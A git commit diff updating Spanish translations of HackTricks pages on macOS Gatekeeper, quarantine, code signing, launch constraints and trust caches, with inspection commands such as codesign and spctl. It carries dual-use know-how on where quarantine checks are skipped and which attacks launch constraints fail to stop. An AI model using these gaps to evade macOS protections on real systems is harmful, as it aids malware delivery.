mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
2aa6907378
commit
2c2861adb0
20 changed files with 622 additions and 485 deletions
|
@ -1,16 +1,19 @@
|
|||
# macOS Gatekeeper / Quarantine / XProtect
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking de AWS desde cero hasta héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Obtén el [**merch oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -24,13 +27,13 @@ El mecanismo clave de Gatekeeper radica en su proceso de **verificación**. Veri
|
|||
|
||||
Además, Gatekeeper refuerza el control y la seguridad del usuario al **solicitar a los usuarios que aprueben la apertura** del software descargado por primera vez. Esta salvaguarda ayuda a prevenir que los usuarios ejecuten inadvertidamente código ejecutable potencialmente dañino que pueden haber confundido con un archivo de datos inofensivo.
|
||||
|
||||
### Firmas de Aplicaciones
|
||||
### Application Signatures
|
||||
|
||||
Las firmas de aplicaciones, también conocidas como firmas de código, son un componente crítico de la infraestructura de seguridad de Apple. Se utilizan para **verificar la identidad del autor del software** (el desarrollador) y para asegurar que el código no ha sido alterado desde que fue firmado por última vez.
|
||||
|
||||
Así es como funciona:
|
||||
|
||||
1. **Firmar la Aplicación:** Cuando un desarrollador está listo para distribuir su aplicación, **firma la aplicación utilizando una clave privada**. Esta clave privada está asociada con un **certificado que Apple emite al desarrollador** cuando se inscribe en el Programa de Desarrolladores de Apple. El proceso de firma implica crear un hash criptográfico de todas las partes de la aplicación y cifrar este hash con la clave privada del desarrollador.
|
||||
1. **Firmar la Aplicación:** Cuando un desarrollador está listo para distribuir su aplicación, **firma la aplicación usando una clave privada**. Esta clave privada está asociada con un **certificado que Apple emite al desarrollador** cuando se inscribe en el Programa de Desarrolladores de Apple. El proceso de firma implica crear un hash criptográfico de todas las partes de la aplicación y cifrar este hash con la clave privada del desarrollador.
|
||||
2. **Distribuir la Aplicación:** La aplicación firmada se distribuye a los usuarios junto con el certificado del desarrollador, que contiene la clave pública correspondiente.
|
||||
3. **Verificar la Aplicación:** Cuando un usuario descarga e intenta ejecutar la aplicación, su sistema operativo Mac utiliza la clave pública del certificado del desarrollador para descifrar el hash. Luego recalcula el hash basado en el estado actual de la aplicación y lo compara con el hash descifrado. Si coinciden, significa que **la aplicación no ha sido modificada** desde que el desarrollador la firmó, y el sistema permite que la aplicación se ejecute.
|
||||
|
||||
|
@ -38,9 +41,9 @@ Las firmas de aplicaciones son una parte esencial de la tecnología Gatekeeper d
|
|||
|
||||
A partir de macOS Catalina, **Gatekeeper también verifica si la aplicación ha sido notarizada** por Apple, añadiendo una capa adicional de seguridad. El proceso de notarización verifica la aplicación en busca de problemas de seguridad conocidos y código malicioso, y si estas verificaciones son satisfactorias, Apple añade un ticket a la aplicación que Gatekeeper puede verificar.
|
||||
|
||||
#### Verificar Firmas
|
||||
#### Check Signatures
|
||||
|
||||
Al verificar alguna **muestra de malware**, siempre debes **verificar la firma** del binario, ya que el **desarrollador** que la firmó puede estar ya **relacionado** con **malware.**
|
||||
Al verificar alguna **muestra de malware**, siempre debes **comprobar la firma** del binario, ya que el **desarrollador** que lo firmó puede estar ya **relacionado** con **malware.**
|
||||
```bash
|
||||
# Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
@ -149,14 +152,14 @@ spctl --assess -v /Applications/App.app
|
|||
```
|
||||
### Archivos en Cuarentena
|
||||
|
||||
Al **descargar** una aplicación o archivo, aplicaciones específicas de macOS como navegadores web o clientes de correo electrónico **adjuntan un atributo de archivo extendido**, comúnmente conocido como la "**bandera de cuarentena**," al archivo descargado. Este atributo actúa como una medida de seguridad para **marcar el archivo** como proveniente de una fuente no confiable (internet), y potencialmente portadora de riesgos. Sin embargo, no todas las aplicaciones adjuntan este atributo; por ejemplo, el software común de clientes de BitTorrent generalmente omite este proceso.
|
||||
Al **descargar** una aplicación o archivo, aplicaciones específicas de macOS como navegadores web o clientes de correo electrónico **adjuntan un atributo de archivo extendido**, comúnmente conocido como el "**flag de cuarentena**," al archivo descargado. Este atributo actúa como una medida de seguridad para **marcar el archivo** como proveniente de una fuente no confiable (internet), y potencialmente portadora de riesgos. Sin embargo, no todas las aplicaciones adjuntan este atributo; por ejemplo, el software común de clientes de BitTorrent generalmente omite este proceso.
|
||||
|
||||
**La presencia de una bandera de cuarentena señala la función de seguridad Gatekeeper de macOS cuando un usuario intenta ejecutar el archivo**.
|
||||
**La presencia de un flag de cuarentena señala la función de seguridad Gatekeeper de macOS cuando un usuario intenta ejecutar el archivo**.
|
||||
|
||||
En el caso de que la **bandera de cuarentena no esté presente** (como con archivos descargados a través de algunos clientes de BitTorrent), **las verificaciones de Gatekeeper pueden no realizarse**. Por lo tanto, los usuarios deben tener precaución al abrir archivos descargados de fuentes menos seguras o desconocidas.
|
||||
En el caso de que el **flag de cuarentena no esté presente** (como con archivos descargados a través de algunos clientes de BitTorrent), **las verificaciones de Gatekeeper pueden no realizarse**. Por lo tanto, los usuarios deben tener precaución al abrir archivos descargados de fuentes menos seguras o desconocidas.
|
||||
|
||||
{% hint style="info" %}
|
||||
**Verificar** la **validez** de las firmas de código es un proceso **intensivo en recursos** que incluye generar **hashes** criptográficos del código y todos sus recursos empaquetados. Además, verificar la validez del certificado implica hacer una **verificación en línea** a los servidores de Apple para ver si ha sido revocado después de haber sido emitido. Por estas razones, una verificación completa de la firma de código y la notarización es **impráctica de ejecutar cada vez que se lanza una aplicación**.
|
||||
**Verificar** la **validez** de las firmas de código es un proceso **intensivo en recursos** que incluye generar **hashes** criptográficos del código y todos sus recursos empaquetados. Además, verificar la validez del certificado implica hacer una **verificación en línea** a los servidores de Apple para ver si ha sido revocado después de ser emitido. Por estas razones, una verificación completa de la firma de código y la notarización es **impráctica de ejecutar cada vez que se lanza una aplicación**.
|
||||
|
||||
Por lo tanto, estas verificaciones **solo se realizan al ejecutar aplicaciones con el atributo de cuarentena.**
|
||||
{% endhint %}
|
||||
|
@ -164,10 +167,10 @@ Por lo tanto, estas verificaciones **solo se realizan al ejecutar aplicaciones c
|
|||
{% hint style="warning" %}
|
||||
Este atributo debe ser **establecido por la aplicación que crea/descarga** el archivo.
|
||||
|
||||
Sin embargo, los archivos que están en sandbox tendrán este atributo establecido en cada archivo que creen. Y las aplicaciones no sandbox pueden establecerlo ellas mismas, o especificar la clave [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) en el **Info.plist**, lo que hará que el sistema establezca el atributo extendido `com.apple.quarantine` en los archivos creados,
|
||||
Sin embargo, los archivos que están en sandbox tendrán este atributo establecido en cada archivo que creen. Y las aplicaciones no sandbox pueden establecerlo ellas mismas, o especificar la clave [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) en el **Info.plist**, lo que hará que el sistema establezca el atributo extendido `com.apple.quarantine` en los archivos creados,
|
||||
{% endhint %}
|
||||
|
||||
Además, todos los archivos creados por un proceso que llama a **`qtn_proc_apply_to_self`** están en cuarentena. O la API **`qtn_file_apply_to_path`** agrega el atributo de cuarentena a una ruta de archivo especificada.
|
||||
Además, todos los archivos creados por un proceso que llama a **`qtn_proc_apply_to_self`** están en cuarentena. O la API **`qtn_file_apply_to_path`** añade el atributo de cuarentena a una ruta de archivo especificada.
|
||||
|
||||
Es posible **verificar su estado y habilitar/deshabilitar** (se requiere root) con:
|
||||
```bash
|
||||
|
|
|
@ -1,37 +1,38 @@
|
|||
# Restricciones de Inicio/Ambiente de macOS y Caché de Confianza
|
||||
# macOS Launch/Environment Constraints & Trust Cache
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)
|
||||
*
|
||||
* .
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
Las restricciones de inicio en macOS se introdujeron para mejorar la seguridad al **regular cómo, quién y desde dónde puede iniciarse un proceso**. Introducidas en macOS Ventura, proporcionan un marco que categoriza **cada binario del sistema en categorías de restricciones distintas**, definidas dentro de la **caché de confianza**, una lista que contiene binarios del sistema y sus respectivos hashes. Estas restricciones se extienden a cada binario ejecutable dentro del sistema, implicando un conjunto de **reglas** que delinean los requisitos para **lanzar un binario en particular**. Las reglas abarcan restricciones propias que un binario debe cumplir, restricciones parentales que deben cumplir su proceso padre y restricciones responsables que deben ser seguidas por otras entidades relevantes.
|
||||
Las restricciones de lanzamiento en macOS se introdujeron para mejorar la seguridad al **regular cómo, quién y desde dónde se puede iniciar un proceso**. Iniciadas en macOS Ventura, proporcionan un marco que categoriza **cada binario del sistema en distintas categorías de restricción**, que se definen dentro de la **caché de confianza**, una lista que contiene binarios del sistema y sus respectivos hashes. Estas restricciones se extienden a cada binario ejecutable dentro del sistema, implicando un conjunto de **reglas** que delinean los requisitos para **lanzar un binario particular**. Las reglas abarcan restricciones propias que un binario debe satisfacer, restricciones parentales que deben ser cumplidas por su proceso padre, y restricciones responsables que deben ser respetadas por otras entidades relevantes.
|
||||
|
||||
El mecanismo se extiende a aplicaciones de terceros a través de **Restricciones de Ambiente**, comenzando desde macOS Sonoma, lo que permite a los desarrolladores proteger sus aplicaciones especificando un **conjunto de claves y valores para las restricciones de ambiente**.
|
||||
El mecanismo se extiende a aplicaciones de terceros a través de **Restricciones de Entorno**, comenzando desde macOS Sonoma, permitiendo a los desarrolladores proteger sus aplicaciones especificando un **conjunto de claves y valores para las restricciones de entorno.**
|
||||
|
||||
Defines **restricciones de inicio y biblioteca de ambiente** en diccionarios de restricciones que guardas en **archivos de lista de propiedades de `launchd`**, o en **archivos de lista de propiedades separados** que utilizas en la firma de código.
|
||||
Definís **restricciones de entorno de lanzamiento y de biblioteca** en diccionarios de restricciones que guardás en **archivos de lista de propiedades de `launchd`**, o en **archivos de lista de propiedades** separados que usás en la firma de código.
|
||||
|
||||
Existen 4 tipos de restricciones:
|
||||
Hay 4 tipos de restricciones:
|
||||
|
||||
* **Restricciones Propias**: Restricciones aplicadas al binario **en ejecución**.
|
||||
* **Proceso Padre**: Restricciones aplicadas al **proceso padre del proceso** (por ejemplo, **`launchd`** ejecutando un servicio XP).
|
||||
* **Restricciones Propias**: Restricciones aplicadas al **binario en ejecución**.
|
||||
* **Proceso Padre**: Restricciones aplicadas al **padre del proceso** (por ejemplo, **`launchd`** ejecutando un servicio XPC).
|
||||
* **Restricciones Responsables**: Restricciones aplicadas al **proceso que llama al servicio** en una comunicación XPC.
|
||||
* **Restricciones de Carga de Biblioteca**: Utiliza restricciones de carga de biblioteca para describir selectivamente el código que puede cargarse.
|
||||
* **Restricciones de carga de biblioteca**: Usá restricciones de carga de biblioteca para describir selectivamente el código que puede ser cargado.
|
||||
|
||||
Entonces, cuando un proceso intenta lanzar otro proceso —llamando a `execve(_:_:_:)` o `posix_spawn(_:_:_:_:_:_:)`—, el sistema operativo verifica que el **archivo ejecutable** cumpla su **propia restricción**, que el **proceso padre** del proceso cumpla la **restricción del padre del ejecutable**, y que el **proceso responsable** del proceso cumpla la **restricción del proceso responsable del ejecutable**. Si alguna de estas restricciones de inicio no se cumple, el sistema operativo no ejecuta el programa.
|
||||
Así que cuando un proceso intenta lanzar otro proceso — llamando a `execve(_:_:_:)` o `posix_spawn(_:_:_:_:_:_:)` — el sistema operativo verifica que el archivo **ejecutable** **satisface** su **propia restricción propia**. También verifica que el **ejecutable** del **proceso padre** **satisface** la **restricción de padre** del ejecutable, y que el **ejecutable** del **proceso responsable** **satisface la restricción del proceso responsable** del ejecutable. Si alguna de estas restricciones de lanzamiento no se satisface, el sistema operativo no ejecuta el programa.
|
||||
|
||||
Si al cargar una biblioteca alguna parte de la **restricción de la biblioteca no es verdadera**, tu proceso **no carga** la biblioteca.
|
||||
Si al cargar una biblioteca, alguna parte de la **restricción de biblioteca no es verdadera**, tu proceso **no carga** la biblioteca.
|
||||
|
||||
## Categorías de LC
|
||||
|
||||
|
@ -43,15 +44,15 @@ Los [**hechos que un LC puede usar están documentados**](https://developer.appl
|
|||
* is-sip-protected: Un valor booleano que indica si el ejecutable debe ser un archivo protegido por la Protección de Integridad del Sistema (SIP).
|
||||
* `on-authorized-authapfs-volume:` Un valor booleano que indica si el sistema operativo cargó el ejecutable desde un volumen APFS autorizado y autenticado.
|
||||
* `on-authorized-authapfs-volume`: Un valor booleano que indica si el sistema operativo cargó el ejecutable desde un volumen APFS autorizado y autenticado.
|
||||
* Volumen Cryptexes
|
||||
* `on-system-volume:` Un valor booleano que indica si el sistema operativo cargó el ejecutable desde el volumen del sistema actualmente arrancado.
|
||||
* Volumen de Cryptexes
|
||||
* `on-system-volume:` Un valor booleano que indica si el sistema operativo cargó el ejecutable desde el volumen del sistema actualmente iniciado.
|
||||
* Dentro de /System...
|
||||
* ...
|
||||
|
||||
Cuando un binario de Apple está firmado, se **asigna a una categoría de LC** dentro de la **caché de confianza**.
|
||||
Cuando un binario de Apple es firmado, se **asigna a una categoría de LC** dentro de la **caché de confianza**.
|
||||
|
||||
* Las **16 categorías de LC de iOS** fueron [**revertidas y documentadas aquí**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056).
|
||||
* Las actuales **categorías de LC (macOS 14** - Somona) han sido revertidas y sus [**descripciones se pueden encontrar aquí**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53).
|
||||
* Las **categorías de LC de iOS 16** fueron [**invertidas y documentadas aquí**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056).
|
||||
* Las **categorías de LC actuales (macOS 14 - Sonoma)** han sido invertidas y sus [**descripciones se pueden encontrar aquí**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53).
|
||||
|
||||
Por ejemplo, la Categoría 1 es:
|
||||
```
|
||||
|
@ -59,40 +60,40 @@ Category 1:
|
|||
Self Constraint: (on-authorized-authapfs-volume || on-system-volume) && launch-type == 1 && validation-category == 1
|
||||
Parent Constraint: is-init-proc
|
||||
```
|
||||
* `(on-authorized-authapfs-volume || on-system-volume)`: Debe estar en el volumen del Sistema o Cryptexes.
|
||||
* `(on-authorized-authapfs-volume || on-system-volume)`: Debe estar en el volumen del sistema o Cryptexes.
|
||||
* `launch-type == 1`: Debe ser un servicio del sistema (plist en LaunchDaemons).
|
||||
* `validation-category == 1`: Un ejecutable del sistema operativo.
|
||||
* `is-init-proc`: Launchd
|
||||
|
||||
### Reversing LC Categories
|
||||
|
||||
Tienes más información [**sobre esto aquí**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints), pero básicamente, están definidos en **AMFI (AppleMobileFileIntegrity)**, por lo que necesitas descargar el Kit de Desarrollo del Kernel para obtener el **KEXT**. Los símbolos que comienzan con **`kConstraintCategory`** son los **interesantes**. Al extraerlos, obtendrás un flujo codificado DER (ASN.1) que necesitarás decodificar con [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) o la biblioteca python-asn1 y su script `dump.py`, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) que te dará una cadena más comprensible.
|
||||
Tienes más información [**sobre esto aquí**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints), pero básicamente, están definidos en **AMFI (AppleMobileFileIntegrity)**, así que necesitas descargar el Kernel Development Kit para obtener el **KEXT**. Los símbolos que comienzan con **`kConstraintCategory`** son los **interesantes**. Al extraerlos obtendrás un flujo codificado DER (ASN.1) que necesitarás decodificar con [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) o la biblioteca python-asn1 y su script `dump.py`, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) que te dará una cadena más comprensible.
|
||||
|
||||
## Restricciones del Entorno
|
||||
## Environment Constraints
|
||||
|
||||
Estas son las Restricciones de Inicio configuradas en **aplicaciones de terceros**. El desarrollador puede seleccionar los **hechos** y **operandos lógicos a utilizar** en su aplicación para restringir el acceso a la misma.
|
||||
Estas son las Launch Constraints configuradas en **aplicaciones de terceros**. El desarrollador puede seleccionar los **hechos** y **operandos lógicos a utilizar** en su aplicación para restringir el acceso a sí mismo.
|
||||
|
||||
Es posible enumerar las Restricciones del Entorno de una aplicación con:
|
||||
Es posible enumerar las Environment Constraints de una aplicación con:
|
||||
```bash
|
||||
codesign -d -vvvv app.app
|
||||
```
|
||||
## Cachés de confianza
|
||||
## Trust Caches
|
||||
|
||||
En **macOS** existen algunos cachés de confianza:
|
||||
En **macOS** hay algunos cachés de confianza:
|
||||
|
||||
- **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4`**
|
||||
- **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**
|
||||
- **`/System/Library/Security/OSLaunchPolicyData`**
|
||||
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4`**
|
||||
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**
|
||||
* **`/System/Library/Security/OSLaunchPolicyData`**
|
||||
|
||||
Y en iOS parece estar en **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`**.
|
||||
Y en iOS parece que está en **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
En macOS que se ejecuta en dispositivos con Apple Silicon, si un binario firmado por Apple no está en el caché de confianza, AMFI se negará a cargarlo.
|
||||
En macOS que se ejecuta en dispositivos Apple Silicon, si un binario firmado por Apple no está en el caché de confianza, AMFI se negará a cargarlo.
|
||||
{% endhint %}
|
||||
|
||||
### Enumeración de cachés de confianza
|
||||
### Enumerating Trust Caches
|
||||
|
||||
Los archivos de caché de confianza anteriores están en formato **IMG4** e **IM4P**, siendo IM4P la sección de carga útil de un formato IMG4.
|
||||
Los archivos de caché de confianza anteriores están en formato **IMG4** y **IM4P**, siendo IM4P la sección de carga útil de un formato IMG4.
|
||||
|
||||
Puedes usar [**pyimg4**](https://github.com/m1stadev/PyIMG4) para extraer la carga útil de las bases de datos:
|
||||
|
||||
|
@ -140,7 +141,7 @@ entry count = 969
|
|||
01e6934cb8833314ea29640c3f633d740fc187f2 [none] [2] [2]
|
||||
020bf8c388deaef2740d98223f3d2238b08bab56 [none] [2] [3]
|
||||
```
|
||||
La caché de confianza sigue la siguiente estructura, por lo que la **categoría LC es la cuarta columna**.
|
||||
El caché de confianza sigue la siguiente estructura, así que la **categoría LC es la 4ª columna**
|
||||
```c
|
||||
struct trust_cache_entry2 {
|
||||
uint8_t cdhash[CS_CDHASH_LEN];
|
||||
|
@ -150,30 +151,30 @@ uint8_t constraintCategory;
|
|||
uint8_t reserved0;
|
||||
} __attribute__((__packed__));
|
||||
```
|
||||
Luego, podrías usar un script como [**este**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) para extraer datos.
|
||||
Then, you could use a script such as [**this one**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) to extract data.
|
||||
|
||||
A partir de esos datos, puedes verificar las aplicaciones con un valor de **restricciones de inicio de `0`**, que son las que no están restringidas ([**ver aquí**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) para ver qué representa cada valor).
|
||||
From that data you can check the Apps with a **launch constraints value of `0`**, which are the ones that aren't constrained ([**check here**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) for what each value is).
|
||||
|
||||
## Mitigaciones de Ataque
|
||||
## Mitigaciones de Ataques
|
||||
|
||||
Las Restricciones de Inicio habrían mitigado varios ataques antiguos al **asegurarse de que el proceso no se ejecute en condiciones inesperadas:** Por ejemplo, desde ubicaciones inesperadas o ser invocado por un proceso padre inesperado (si solo launchd debería iniciarlo).
|
||||
Las restricciones de lanzamiento habrían mitigado varios ataques antiguos al **asegurar que el proceso no se ejecute en condiciones inesperadas:** Por ejemplo, desde ubicaciones inesperadas o siendo invocado por un proceso padre inesperado (si solo launchd debería estar lanzándolo).
|
||||
|
||||
Además, las Restricciones de Inicio también **mitigan ataques de degradación**.
|
||||
Además, las restricciones de lanzamiento también **mitigan ataques de degradación.**
|
||||
|
||||
Sin embargo, **no mitigan abusos comunes de XPC**, inyecciones de código de **Electron** o inyecciones de **dylib** sin validación de biblioteca (a menos que se conozcan los IDs de equipo que pueden cargar bibliotecas).
|
||||
Sin embargo, **no mitigan abusos comunes de XPC**, **inyecciones de código de Electron** o **inyecciones de dylib** sin validación de biblioteca (a menos que se conozcan los IDs de equipo que pueden cargar bibliotecas).
|
||||
|
||||
### Protección de Demonio XPC
|
||||
### Protección del Daemon XPC
|
||||
|
||||
En la versión Sonoma, un punto notable es la **configuración de responsabilidad del servicio XPC demonio**. El servicio XPC es responsable de sí mismo, a diferencia de que el cliente conectado sea responsable. Esto está documentado en el informe de retroalimentación FB13206884. Esta configuración puede parecer defectuosa, ya que permite ciertas interacciones con el servicio XPC:
|
||||
En la versión Sonoma, un punto notable es la **configuración de responsabilidad** del servicio daemon XPC. El servicio XPC es responsable de sí mismo, a diferencia del cliente que se conecta que es responsable. Esto está documentado en el informe de retroalimentación FB13206884. Esta configuración puede parecer defectuosa, ya que permite ciertas interacciones con el servicio XPC:
|
||||
|
||||
- **Iniciar el Servicio XPC**: Si se asume que es un error, esta configuración no permite iniciar el servicio XPC a través de código malicioso.
|
||||
- **Conectar a un Servicio Activo**: Si el servicio XPC ya está en ejecución (posiblemente activado por su aplicación original), no hay barreras para conectarse a él.
|
||||
- **Lanzamiento del Servicio XPC**: Si se asume que es un error, esta configuración no permite iniciar el servicio XPC a través del código del atacante.
|
||||
- **Conexión a un Servicio Activo**: Si el servicio XPC ya está en funcionamiento (posiblemente activado por su aplicación original), no hay barreras para conectarse a él.
|
||||
|
||||
Si bien implementar restricciones en el servicio XPC podría ser beneficioso al **reducir la ventana para posibles ataques**, no aborda la preocupación principal. Asegurar la seguridad del servicio XPC requiere fundamentalmente **validar efectivamente al cliente conectado**. Este sigue siendo el único método para fortalecer la seguridad del servicio. Además, cabe destacar que la configuración de responsabilidad mencionada está actualmente operativa, lo que puede no estar alineado con el diseño previsto.
|
||||
Si bien implementar restricciones en el servicio XPC podría ser beneficioso al **reducir la ventana para ataques potenciales**, no aborda la preocupación principal. Asegurar la seguridad del servicio XPC requiere fundamentalmente **validar efectivamente al cliente que se conecta**. Este sigue siendo el único método para fortalecer la seguridad del servicio. También vale la pena señalar que la configuración de responsabilidad mencionada está actualmente operativa, lo que podría no alinearse con el diseño previsto.
|
||||
|
||||
### Protección de Electron
|
||||
|
||||
Incluso si es necesario que la aplicación se **abra mediante LaunchService** (en las restricciones de los padres). Esto se puede lograr utilizando **`open`** (que puede establecer variables de entorno) o utilizando la **API de Launch Services** (donde se pueden indicar variables de entorno).
|
||||
Incluso si se requiere que la aplicación sea **abierta por LaunchService** (en las restricciones de los padres). Esto se puede lograr utilizando **`open`** (que puede establecer variables de entorno) o utilizando la **API de Launch Services** (donde se pueden indicar variables de entorno).
|
||||
|
||||
## Referencias
|
||||
|
||||
|
@ -182,16 +183,17 @@ Incluso si es necesario que la aplicación se **abra mediante LaunchService** (e
|
|||
* [https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/](https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/)
|
||||
* [https://developer.apple.com/videos/play/wwdc2023/10266/](https://developer.apple.com/videos/play/wwdc2023/10266/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
